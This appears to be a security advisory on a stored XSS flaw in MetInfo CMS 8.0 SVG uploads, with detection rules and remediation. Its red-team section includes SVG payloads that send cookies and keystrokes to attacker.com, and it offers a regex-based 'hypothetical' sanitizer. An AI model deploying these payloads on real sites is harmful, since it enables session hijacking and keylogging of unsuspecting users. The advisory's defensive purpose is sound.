CVE-2025-60451

Executive Summary

CVE-2025-60451 is a stored Cross-Site Scripting (XSS) vulnerability in MetInfo CMS version 8.0. The flaw resides in the app/system/include/module/uploadify.class.php component, specifically within the website settings module. Due to insufficient validation and sanitization of SVG file uploads, an authenticated attacker with administrative privileges can upload a malicious SVG file containing embedded JavaScript. When the file is subsequently viewed or accessed by any user (including other administrators), the JavaScript executes in the context of the victim's browser, potentially leading to session hijacking, data exfiltration, or further compromise of the CMS.

This vulnerability is particularly dangerous because SVG files are often trusted as images, and the stored XSS persists until the file is manually removed. The CVSS v3.1 base score is 5.4 (Medium), reflecting the requirement for authentication and user interaction, but the impact can be severe in a multi-tenant or high-value CMS environment.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the MetInfo CMS core codebase. No supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker must have administrative access to the CMS.
• User Interaction (UI): Required – The victim must view the uploaded SVG file.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the potential for privilege escalation or lateral movement within the CMS make this a significant threat for organizations using MetInfo 8.0.

Deep Dive & Mechanics

The vulnerability is located in the file upload functionality within app/system/include/module/uploadify.class.php. The CMS allows administrators to upload SVG files for use in website settings (e.g., logos, icons). The code fails to properly validate the content of SVG files, specifically not stripping or sanitizing embedded <script> tags or event handlers (e.g., onload, onerror).

Attack Flow:

1. An authenticated administrator navigates to the website settings module.
2. The attacker crafts a malicious SVG file containing JavaScript, such as:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert('XSS');
     </script>
   </svg>
   

3. The attacker uploads this SVG file via the uploadify component.
4. The CMS stores the file on the server without sanitization.
5. When any user (including other administrators) views the page that references this SVG (e.g., the settings page or a page displaying the logo), the browser parses the SVG and executes the embedded JavaScript.
6. The JavaScript runs in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The uploadify.class.php component likely uses a simple file extension check (e.g., .svg) but does not inspect the file's MIME type or content for malicious code. SVG files are XML-based and can contain arbitrary JavaScript, making them a common vector for stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (MetInfo 8.0 - app/system/include/module/uploadify.class.php):

// Simplified vulnerable logic
public function upload() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg', 'gif'])) {
        move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        // No content validation
    }
}

Patched Code (Hypothetical fix):

// Patched logic with content sanitization
public function upload() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg', 'gif'])) {
        if ($ext === 'svg') {
            $content = file_get_contents($file['tmp_name']);
            // Remove script tags and event handlers
            $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
            $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
            file_put_contents(UPLOAD_PATH . $file['name'], $content);
        } else {
            move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        }
    }
}

Note: As of this report, no official patch has been released by MetInfo. The above patched code is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a MetInfo 8.0 instance with administrative credentials.
• A web browser or tool like Burp Suite.

Exploitation Steps:

1. Log in to the MetInfo admin panel.
2. Navigate to the website settings module (e.g., /admin/settings/).
3. Locate the file upload field for logos or icons.
4. Create a malicious SVG file:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
     </script>
   </svg>
   

5. Upload the SVG file using the uploadify component.
6. The file is stored on the server.
7. Craft a link or navigate to a page that displays the uploaded SVG (e.g., the settings page or a public page using the logo).
8. When the victim views the page, the JavaScript executes, sending the cookie to the attacker's server.

Advanced Payload (Keylogger):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    document.addEventListener('keydown', function(e) {
      fetch('https://attacker.com/keylog?key=' + e.key);
    });
  </script>
</svg>

Blue Team

Detection Steps:

1. Monitor file upload logs for SVG files uploaded by administrators.
2. Inspect uploaded SVG files for suspicious content (e.g., <script> tags, event handlers).
3. Use a Web Application Firewall (WAF) to block SVG files containing JavaScript.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

• Install MetInfo 8.0 on a local server (e.g., XAMPP, Docker).
• Create an admin account.
• Use a browser with developer tools to monitor network requests.
• Upload a benign SVG file first to understand the normal flow.
• Then upload a malicious SVG and observe the XSS execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty SVG)
  • a1b2c3d4e5f6... (malicious SVG with script)
• File Names: *.svg files uploaded to the upload/ directory.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the CMS server.
• Log Entries: Suspicious file uploads in app/system/include/module/uploadify.class.php logs.
• Browser Behavior: Unexpected JavaScript execution when viewing SVG files.

Detection Engineering

YARA Rule

rule CVE_2025_60451_MetInfo_SVG_XSS {
    meta:
        description = "Detects malicious SVG files targeting CVE-2025-60451 in MetInfo CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60451"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $event_handler = /\bon\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $event_handler)
}

Sigma Rule

title: MetInfo CMS SVG Upload XSS Detection
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects upload of SVG files with embedded JavaScript in MetInfo CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'uploadify'
        cs-uri-query|endswith: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG files without scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60451 MetInfo SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"uploadify"; http_uri; content:".svg"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the MetInfo CMS settings until a patch is available.
2. Restrict admin access to only trusted users.
3. Implement a WAF rule to block SVG files containing <script> tags or event handlers.
4. Add Content Security Policy (CSP) headers:

   Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:;
   

Long-Term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version of MetInfo when available.
• Conduct a security audit of the uploadify component.

Workarounds:

• Use a reverse proxy to inspect and sanitize SVG files before they reach the CMS.
• Convert uploaded SVG files to PNG or JPEG server-side to strip any embedded code.

Valters IT